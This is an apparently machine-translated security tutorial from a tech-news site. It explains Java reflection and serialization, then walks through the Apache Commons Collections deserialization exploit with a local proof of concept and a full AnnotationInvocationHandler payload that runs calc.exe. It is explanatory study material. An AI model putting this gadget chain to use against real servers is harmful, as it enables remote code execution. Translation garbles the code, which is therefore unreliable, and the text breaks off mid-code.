Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to implement deserialization loophole in Java

2025-03-29 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

This article shows you how to achieve deserialization vulnerabilities in Java, the content is concise and easy to understand, can definitely brighten your eyes, through the detailed introduction of this article, I hope you can get something.

1) Java executive program

In Java, you can easily call operating system commands or an executable program through the java.lang.Runtime class.

Public class RuntimeTest {public static void main (String [] args) throws Exception {Runtime runtime = Runtime.getRuntime (); runtime.exec ("calc.exe");}}

As in the above code, you can open the calculator of the windows system.

2) java reflection mechanism

The reflection mechanism allows the program to obtain the internal information of any class with the help of Reflection API at run time, and can directly manipulate all properties and methods of any class and object.

To use a class, we must first load it into the virtual machine, after loading the class, the heap memory method area will produce a Class type object (a class has only one class object), this object contains the complete class structure information, we can see the structure of the class through this object, this object is like a mirror, through the mirror can see the structure of the class, so vividly called: reflection.

Methods that are often used in reflection:

1. How to get the Class instance 1: call the attributes of the runtime class. Class mode 2: call the getClass () method through the runtime object 3: call the static method of Class: forName (String classPath) mode 4: call this method using the loader classloader2 of the class and the object newInstance () that creates the runtime class. Create the object 3 of the corresponding runtime class, get the structure of the runtime class getFields (), get the property getDeclaredFields () declared as public access in the current runtime class and its parent class, get all the properties declared in the current runtime class, excluding the parent class getMethods (), get the method getDeclaredMethods () declared as public of the current runtime class and all its parent classes, get the methods declared in the current runtime class Does not include the parent class getConstructors () gets the constructor getDeclaredConstructors () that the current runtime class declares as public, and gets all the constructor invoke () methods declared in the current runtime class that allow methods wrapped in the current Method object to be called

Reflection example:

In the following code, the function of Object I = m1.invoke (R1, 1) is to use R1 to call the public method declared by the M1 object, that is, print, and pass in 1Person2 of type int as a parameter.

Import java.lang.reflect.Method;public class test {public static void main (String [] args) {Reflect r1=new Reflect (); / / call getClass () through the runtime object; Class c=r1.getClass () Try {/ / getMethod (method name, parameter type) / / getMethod the first parameter is the method name, and the second parameter is the method parameter type / / because there are different parameters from the same method name So only by specifying the method name and parameter type at the same time can a method Method M1 = c.getMethod ("print", int.class, int.class) be uniquely determined. / / equivalent to r1.print (1Magazine 2); the reflection operation of the method is that the effect of the method call with M1 object is exactly the same as that of r1.print call / / use R1 to call the public method declared by M1 object, namely print, and pass 1Magin2 of int type as a parameter to Object I = m1.invoke (R1, 1P2) } catch (Exception e) {e.printStackTrace ();} class Reflect {public void print (int aline int b) {System.out.println (axib);}}

Execute the command using the reflection mechanism:

The purpose of invoke (runtime, "calc.exe") here is to use runtime to call the public method declared by the obtained Method object, namely exec, and pass in calc.exe as a parameter, while runtime is the obtained Runtime.getRuntime instance object. Therefore, the code here is equivalent to executing Runtime.getRuntime (). Exec ("calc.exe").

Be familiar with the operation of this piece, which will be used to complete the attack chain:

Public class RuntimeTest {public static void main (String [] args) throws Exception {/ / forName (class name) gets the Class object corresponding to the class name and loads the Class object. / / getMethod (method name, parameter type list) locates the Method object you need to find and returns based on the method name and related parameters. / / invoke (Object obj,Object...args) invoke allows you to call the method Object runtime=Class.forName ("java.lang.Runtime") .getMethod ("getRuntime", new Class [] {}) .invoke (null) wrapped in the current Method object / / get an instance object of Runtime / / call the exec () method of the Runtime instance object, and pass calc.exe as a parameter to Class.forName ("java.lang.Runtime") .getMethod ("exec", String.class) .invoke (runtime, "calc.exe");}}

As above, open the windows calculator through the Java reflection mechanism.

Why is it not more convenient to use reflection mechanism in Java to create objects directly?

If there are multiple classes, each user needs different objects, directly create an object, you have to constantly new an object, which is very inflexible. The java reflection mechanism, which determines the type at run time, binds objects, and compiles dynamically, maximizes the flexibility of java.

3) Java serialization and deserialization

Java serialization refers to the process of converting Java objects into byte sequences, which can be easily saved in memory, files, and databases.

That is: object-> byte stream (serialization)

Java deserialization is the reverse process of serialization, which is restored to an object by a stream of bytes.

That is: byte stream-> object (deserialization)

The advantage of serialization is that any object that implements the Serializable interface can be converted into byte data so that it can be restored when saved and transferred.

Operation function for deserialization:

The writeObject () method in the java.io.ObjectOutputStream class implements Java serialization.

The readObject () method in the java.io.ObjectInputStream class can deserialize Java.

If you want a Java object to be serializable, you need to meet the corresponding requirements:

1. Implement Serializable interface or Externalizable interface 2. The current class provides a global constant serialVersionUID3, and all its internal properties must also be serializable (by default, basic data types can be serialized) 4. ObjectInputStream and ObjectOutputStream cannot serialize static and transient modified member variables

Java deserialization example:

Import java.io.*;public class Serialize {public static void main (String [] args) throws Exception {/ / serialization ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("hello.txt")); oos.writeObject (new String ("serialization")); oos.close (); / / deserialization ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("hello.txt")); Object o = ois.readObject () String s = (String) o; ois.close (); System.out.println (s);}}

Causes of deserialization vulnerabilities:

Serialization refers to the process of converting Java objects into byte sequences. Deserialization means opening the byte stream and refactoring the objects. If the data to be deserialized is specially constructed, unexpected objects can be generated, resulting in arbitrary code execution.

Java middleware usually receives serialized data sent by the client over the network, and when the server deserializes the serialized data, it calls the readObject () method of the serialized object. In Java, if the method of a class is overridden, the modified method will be called first. If an object overrides the readObject () method and can execute arbitrary code in the method, the server executes the corresponding code when it does the reverse sequence.

If an object that meets the above conditions can be serialized and sent to the Java middleware, the Java middleware will also execute the specified code, that is, there is a deserialization vulnerability.

4) Java collection framework

The Java collection framework is a structure that stores multiple data, which is mainly divided into two systems: Collection and Map:

Collection interface: singleton data that defines a collection of methods for accessing a set of objects: double-column data, saving collections with a mapping relationship "Key-value"

Apache Commons Collections: a third-party foundation library that extends the collection framework in the Java standard library. It contains many jar toolkits as shown in the following figure, which provides many powerful data structure types and implements a variety of collection utility classes.

0x03 Apache Commons Collections deserialization vulnerability

The main problem with the Apache Commons Collections deserialization vulnerability is the interface class Transformer. The Transformer class can meet the fixed type conversion requirements, and its conversion function can be customized, and the loophole is here.

Classes that are known to implement the Transformer interface are shown below. In the Apache Commons Collections anti-sequence vulnerability, we will use three classes: ChainedTransformer, ConstantTransformer, and InvokerTransformer. The specific role of these classes will be viewed in combination with POC below. Before making the remote call, let's look at the local POC:

Import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map Public class ApacheSerialize1 {public static void main (String [] args) throws Exception {/ / 1, create Transformer array Build the core exploit code Transformer [] transformers = new Transformer [] {new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod", new Class [] {String.class, Class [] .class}, new Object [] {"getRuntime", new Class [0]}), new InvokerTransformer ("invoke", new Class [] {Object.class, Object [] .class}, new Object [] {null) New Object [0]}), new InvokerTransformer ("exec", new Class [] {String.class}, new Object [] {"calc.exe"})} / / 2. Store the transformers array in the ChaniedTransformer class Transformer transformerChain = new ChainedTransformer (transformers); / / 3. Create a Map and give the map data conversion chain Map innerMap = new HashMap (); innerMap.put ("key", "value") / / give the map data conversion chain, which has three parameters: / / the first parameter is the Map object to be converted / / the second parameter is the conversion method to be passed by the key in the Map object (either a single method, a chain or an empty) / / the third parameter is the conversion method to be passed by the value in the Map object (either a single method or a chain) Can also be empty) Map outerMap = TransformedMap.decorate (innerMap, null, transformerChain) Map.Entry onlyElement = (Map.Entry) outerMap.entrySet (). Iterator () .next (); / / 4. Trigger the exploit chain and exploit the vulnerability onlyElement.setValue ("test");}}

The POC is roughly divided into four points from top to bottom, which we analyze on the basis of four points:

1. Create the transformers array and build the core exploit code.

2. Save the transformers array into the ChaniedTransformer class.

3. Create Map and give map data conversion chain

4. Trigger the exploit chain and exploit the vulnerability.

1) create transformers array and build core exploit code

Here you create an array of type Transformer, in which four objects are created. These four objects use two classes, ConstantTransforme and InvokerTransformer, respectively.

ConstantTransformer: converts an object to a constant and returns.

InvokerTransformer: returns an object by reflection.

The code is as follows:

Instead of looking at what the specific parameters do here, just make it clear that an array of type Transformer has been created here, in which four objects have been created, and let's move on.

2) save the transformers array to the ChaniedTransformer class

Here you create a ChainedTransformer object and pass in the transformers array as a parameter.

ChainedTransformer class: links some transformer together to form a chain, and converts an object through each transformer in the chain in turn.

Keep looking down.

3) create Map and give map data conversion chain

There is a lot of code here, let's take a look at it.

First, you create the Map class, adding a set of data ("key", "value"). As mentioned earlier, Map is a set with a mapping relationship Key-value, and a key-value pair: kay-value constitutes an Entry object.

Then comes the data conversion chain that is given to the map implementation class. The TransformedMap class is implemented in Apache Commons Collections, which can call the transform method to automatically carry out a specific modification transformation when an element is added / deleted / modified, and the specific transformation logic is defined by the Transformer class. That is, when the data changes, you can do some pre-set operations.

In other words, the code here gives the Map data conversion chain. When the data in Map changes, the conversion chain will perform the set operation. There are three parameters as follows:

Here TransformedMap calls the decorate () method to create the TransformedMap object. Parameter 1, innerMap calls the constructor of the parent class AbstractInputCheckedMapDecorator as a parameter, which is saved as a this.map variable. Parameter 2 is null. The parameter 3 transformerChain is initialized to the this.valueTransformer variable.

The code related to the TransformedMap class is as follows:

Then get the first key-value pair (key,value) of outerMap and convert it into Map.Entry form. As mentioned earlier, a kay-value forms an Entry object.

Finally, use Map.Entry to get the first value, call the function that modifies the value, and trigger the following setValue () code.

4) trigger the exploit chain and exploit the vulnerability

Following the above analysis, continuing to follow up on the setValue () function, you will go to the AbstractInputCheckedMapDecorator class. At this point, the setValue () method checks the element to be modified and enters the conversion chain of the TransformedMap.

Follow up the this.parent.checkSetValue (value) in setValue () and skip to the TransoformedMap class, where this.parent is the object outerMap of the TransformedMap class.

The code related to the AbstractInputCheckedMapDecorator class is as follows:

Jump to the TransoformedMap class.

The this.valueTransformer at this point is transformerChain, which then triggers the exploit chain. And transformerChain is the ChainedTransformer object generated by the second point code of POC above, in which the transformers array is passed, and the transformers array is the exploit core code constructed by the first point of POC.

The code related to the TransoformedMap class is as follows:

Because valueTransformer is transformerChain, the this.valueTransformer.transform (value) in the above code calls the transform method of the ChainedTransformer class.

At this point, the constructed transformers array containing the utilization code will loop in here, first calling the ConstantTransformer class once, and then calling the InvokerTransformer class three times.

Note that in the loop of the array, the return value of the previous transform function is entered as the object parameter of the next transform function.

The code related to the ChainedTransformer class is as follows:

First cycle:

The first step is to call the transform method of the ConstantTransformer class, save Runtime.class as a this.iConstant variable, and input the return value as the object parameter of the next transform function.

The code related to the ConstantTransformer class is as follows:

The second cycle:

Call the transform () method of the InvokerTransformer class, where the object parameter of transform, java.lang.Runtime.

Let's first look at the constructor of InvokerTransformer:

The first is the string, which is the name of the method to be called

The second is a Class array, which is the type of the parameter of the method

The third is the Object array, which is the specific value of the parameter of the method.

When you enter the transform method of the InvokerTransformer class, the reflection mechanism is very obvious. Here, the object parameter where input is transform is java.Lang.Runtime.

This is equivalent to:

Method = input.getClass () .getMethod ("getMethod", new Class [] {String.class, Class [] .class) .invoke ("java.Lang.Runtime", new Object [] {"getRuntime", new Class [0]})

That is, java.Lang.Runtime.getMethod ("getRuntime", null), which returns a Runtime.getRuntime () method, which is equivalent to generating a string, but has not yet executed "Rumtime.getRuntime ();".

The third cycle:

Also enter the transform () method of the InvokerTransformer class, where input is the return value of the last loop, Runtime.getRuntime ().

At this point, it is equivalent to:

Method = input.getClass () .getMethod ("invoke", new Class [] {Object.class, Object [] .class}) .invoke ("Runtime.getRuntime ()", new Object [] {null, new Object [0]})

That is, Runtime.getRuntime (). Invoke (null), then an instance of the Runtime object is returned. It is equivalent to the completion of the execution:

Object runtime=Class.forName ("java.lang.Runtime") .getMethod ("getRuntime", new Class [] {}) .invoke (null)

The fourth cycle:

Also enter the transform method of the InvokerTransformer class, where input is the return value of the last loop, Runtime.getRuntime (). Invoke (null).

At this point, it is equivalent to:

Method = input.getClass () .getMethod ("exec", new Class [] {String.class}) .invoke ("runtime", new Object [] {"calc.exe"})

That is, Runtime.getRuntime () .exec ("calc.exe"). At this point, the exploit chain is successfully completed, the system command statement is executed, and the vulnerability is triggered.

Finally, sort out the whole process:

1. The transform array contains four objects that implement the Transformer interface, all of which override the transform () method

2. Four transform,ChianedTransformer are installed in ChianedTransformer and the Transformer interface is implemented. The transform () method is also overridden.

3. TransoformedMap binds ChiandTransformer and gives map data conversion chain. When the data in map is modified, it needs to go through ChiandTransformer conversion chain.

4. Use the setValue of TransoformedMap to modify map data and trigger the transform () method of ChiandTransformer.

5. The transform of ChianedTransformer is a loop that calls the transform method of transformer in this class.

Loop 1: the transformer method of the ConstantTransformer ("java.Runtime") object is called for the first time. The call parameter is "test" (the normal value to be modified), and java.Runtime is returned as the object parameter of the next loop.

Loop 2: the second loop calls the transformer of the InvokerTransformer object with the parameter ("java.Runtime"), wraps the "getMethod" method of the Method object, and the invoke method gets the method "getRuntime" declared by the object, and uses reflection to return a Rumtime.getRuntime () method.

Loop 3: call the transformer of the InvokerTransformer object for the third time, with the parameter "Rumtime.getRuntime ()", wrap the "invoke" method of the Method object, and use reflection to return an instance of Rumtime.getRuntime ().

Loop 4: call the transformer of the InvokerTransformer object for the fourth time, with a parameter of an object instance of Runtime, wrap the "exec" method of the Method object, and the invoke method gets the method "calc.exe" declared by the object, and perform the pop-up calculator operation using reflection.

0x04 final Payload

The current POC has only been executed, and to exploit this vulnerability, we need to transmit payload over the network and execute code when the server deserializes the payload we have passed. And the key to this POC depends on an item in the Map to call setValue (), which is completely uncontrollable.

So you need to find a serializable class that overrides the readObject () method and does a setValue () operation in readObject (), and the Map variable is controllable. It is important to note that if a class's method is overridden in java, the modified method will be called first.

In java, there is a class AnnotationInvocationHandler that overrides the readObject () method and performs the setValue () operation, and the Map variable is controllable. If TransformedMap can be loaded into this AnnotationInvocationHandler class and passed on, the vulnerability will be triggered when the server deserializes it. The final payload used is as follows:

Package Serialize;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map Public class ApacheSerialize implements Serializable {public static void main (String [] args) throws Exception {/ / transformers: a transformer chain Conversion array containing various transformer objects (default conversion logic) Transformer [] transformers = new Transformer [] {new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod", new Class [] {String.class, Class [] .class}, new Object [] {"getRuntime", new Class [0]}), new InvokerTransformer ("invoke", new Class [] {Object.class, Object [] .class}) New Object [] {null, new Object [0]}), new InvokerTransformer ("exec", new Class [] {String.class}, new Object [] {"calc.exe"})} / / transformedChain: ChainedTransformer class object, which is passed into the transformers array. You can perform the conversion operation Transformer transformerChain = new ChainedTransformer (transformers) according to the logic of the transformers array; / / Map data structure. The object in the Map,Map data structure before conversion is in the form of key-value pairs, which is analogous to python's dict Map map = new HashMap (); map.put ("value", "test") / / Map data structure. The transformed Map / * TransformedMap.decorate method is expected to transform the data structure of the Map class. This method has three parameters. The first parameter is the conversion method of the Map object to be converted, the second parameter is the conversion method of the key in the Map object (it can be a single method, it can be a chain, or it can be empty) the third parameter is the conversion method of the value in the Map object. * / / TransformedMap.decorate (target Map, conversion object of key (single or chain or null), conversion object of value (single or chain or null); Map transformedMap = TransformedMap.decorate (map, null, transformerChain); / / reflection mechanism calls the constructor of AnnotationInvocationHandler class / / forName to get the Class object Class cl = Class.forName ("sun.reflect.annotation.AnnotationInvocationHandler") corresponding to the class name / / call private structures through reflection: private methods, properties, constructors / / specify constructor Constructor ctor = cl.getDeclaredConstructor (Class.class, Map.class); / / unrestrict constructor modifiers to ensure that constructors can access ctor.setAccessible (true) / / get the AnnotationInvocationHandler class instance / / call the object Object instance=ctor.newInstance (Target.class, transformedMap) of this constructor runtime class; / / serialize FileOutputStream fileOutputStream = new FileOutputStream ("serialize.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject (instance); objectOutputStream.close () / / deserialize FileInputStream fileInputStream = new FileInputStream ("serialize.txt"); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); Object result = objectInputStream.readObject (); objectInputStream.close (); System.out.println (result);}}

It can be triggered.

Let's take a look at the final addition to payload:

The first four parts of the new code are not difficult to understand. Use reflection to call the AnnotationInvocationHandler class and specify a constructor with a specific parameter type of (Class.class, Map.class). The object of the specified constructor runtime class is then called using newInstance, passing in (Target.class, transformedMap) as a parameter.

Looking at the AnnotationInvocationHandler class, the constructor of the reflection call is as follows:

Where var1 is Target.class,var2 and transformedMap,var1.getInterfaces () is the interface that gets the explicit implementation of the current class, that is, the interface explicitly implemented by the Target class.

The Target class uses @ interface custom annotations, while @ interface custom annotations automatically inherit the java.lang.annotation.Annotation interface, and the compiler automatically completes other details. Therefore, it conforms to the judgment of the if statement and generates an instance of the AnnotationInvocationHandler class.

The Target class code is as follows:

Go to the payload serialization and deserialization section, mainly look at the readObject () section of deserialization, open the byte stream and reconstruct the object, which is the AnnotationInvocationHandler class instance.

As mentioned earlier, if a method of a class is overridden in java, the modified method will be called first, while the AnnotationInvocationHandler class overrides the readObject () method, so the readObject () method in the class will be called first when deserializing.

Follow up with the readObject () method of the AnnotationInvocationHandler class, where the var1 is an instantiated AnnotationInvocationHandler class object, which then triggers setValue () to cause the command to execute.

The code related to the AnnotationInvocationHandler class is as follows:

Class AnnotationInvocationHandler implements InvocationHandler, Serializable {. AnnotationInvocationHandler (Class

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report